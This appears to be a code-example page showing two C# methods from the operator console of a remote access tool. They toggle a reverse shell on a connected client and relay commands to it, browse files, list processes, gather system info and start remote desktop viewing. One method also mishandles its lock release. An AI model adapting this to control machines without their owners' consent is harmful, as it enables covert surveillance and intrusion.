Ejemplo n.º 1
0
 public void StopShell(Client client)
 {
     try
     {
         RevShellLock.AcquireReaderLock(15 * 1000);
         if (IsRevShellActive && Client == client)
         {
             RevShellLock.UpgradeToWriterLock(15 * 1000);
             IsRevShellActive = false;
             C.WriteLine();
             C.WriteLine("[+] Stopping Shell for Client {0}", client.PcName);
             CurrentView.PrintBanner();
         }
     }
     catch (ApplicationException exception)
     {
         C.WriteLine("============================================================================");
         C.WriteLine("DeadLock? ConsoleUiMediator::StopShell(Client)");
         C.WriteLine("============================================================================");
     }
     finally
     {
         RevShellLock.ReleaseWriterLock();
     }
 }
Ejemplo n.º 2
0
        private bool ProcessInstructionInteracting(string instruction, string[] parts)
        {
            try
            {
                ClientLock.AcquireReaderLock(15 * 1000);

                try
                {
                    RevShellLock.AcquireReaderLock(15 * 1000);
                    if (IsRevShellActive)
                    {
                        Application.ExecInShell(Client, instruction);
                        return(true);
                    }
                }
                catch (ApplicationException)
                {
                    C.WriteLine("DeadLock ? ProcessInstructionInteracting");
                }
                finally
                {
                    RevShellLock.ReleaseReaderLock();
                }

                if (parts[0] == "ls")
                {
                    if (CurrentView == FileSystemView)
                    {
                        string basePath = FileSystemView.CurrentBasePath;
                        if (basePath == null)
                        {
                            Application.FetchFileSystemDrives(Client);
                        }
                        else
                        {
                            Application.FetchDirEntries(Client, basePath);
                        }
                    }
                    else
                    {
                        if (parts.Length == 1 || (parts.Length > 1 && parts[1].Trim().Equals("/")))
                        {
                            Application.FetchFileSystemDrives(Client);
                        }
                        else
                        {
                            string basePath = Path.GetFullPath(parts[1]);
                            Application.FetchDirEntries(Client, basePath);
                        }
                    }

                    return(true);
                }

                if (parts[0].Equals("sysinfo", StringComparison.OrdinalIgnoreCase))
                {
                    Application.FetchSystemInfo(Client);
                    return(true);
                }

                if (parts[0] == "fs")
                {
                    if (parts.Length == 1 ||
                        (parts.Length > 1 && parts[1].Equals("start", StringComparison.OrdinalIgnoreCase)))
                    {
                        CurrentView = FileSystemView;
                        FileSystemView.SetActiveClient(Application.GetClient(Client.Id));
                    }
                }
                else if (parts[0] == "ps")
                {
                    Application.FetchProcessList(Client);
                    return(true);
                }
                else if (instruction.Equals("desktop start", StringComparison.OrdinalIgnoreCase))
                {
                    bool shouldStart;

                    lock (IsDesktopActiveLock)
                    {
                        shouldStart = !IsDesktopActive;
                    }

                    if (shouldStart)
                    {
                        Application.StartDesktop(Client);
                    }

                    return(true);
                }
                else if (instruction.Equals("desktop stop", StringComparison.OrdinalIgnoreCase))
                {
                    lock (IsDesktopActiveLock)
                    {
                        if (IsDesktopActive)
                        {
                            IsDesktopActive = false;
                            Application.StopDesktop(Client);
                        }
                    }

                    return(true);
                }
                else if (parts[0] == "cd")
                {
                    if (parts.Length > 1)
                    {
                        if (CurrentView != FileSystemView)
                        {
                            CurrentView = FileSystemView;
                            FileSystemView.ChangeDirectory(parts[1]);
                            FileSystemView.Client = Client;
                        }
                    }
                }
                else if (parts[0] == "shell")
                {
                    try
                    {
                        RevShellLock.AcquireWriterLock(15 * 1000);
                        IsRevShellActive = true;
                    }
                    catch (ApplicationException)
                    {
                        C.WriteLine("DeadLock? RevShellLock.AcquireWriterLock");
                    }
                    finally
                    {
                        RevShellLock.ReleaseWriterLock();
                    }

                    Application.StartShell(Client);

                    return(true);
                }
            }
            catch (ApplicationException exception)
            {
                C.WriteLine("============================================================================");
                C.WriteLine("DeadLock? ConsoleUiMediator::ProcessInstructionInteracting AcquireReaderLock");
                C.WriteLine("============================================================================");
                return(false);
            }
            finally
            {
                ClientLock.ReleaseReaderLock();
            }

            return(false);
        }